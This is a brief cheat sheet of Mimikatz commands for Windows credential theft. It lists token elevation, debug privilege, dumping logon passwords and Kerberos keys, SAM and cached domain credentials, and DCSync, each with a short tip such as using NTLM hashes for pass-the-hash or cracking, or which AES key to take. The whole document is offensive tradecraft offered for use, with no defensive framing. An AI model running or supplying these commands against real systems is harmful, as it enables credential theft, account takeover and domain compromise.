token::elevate
Elevate the token first

privilege::debug
Need Debug privilege for some of the actions

sekurlsa::logonpasswords
NTLM to PTH or crack.

sekurlsa::ekeys
Encryption key of logged on users using Kerberos. aes256_hmac is the one that you need.

lsadump::sam
Local accounts only.

lsadump::cache
DCC which can only be used to crack instead of logon.

lsadump::dcsync
Domain admins only.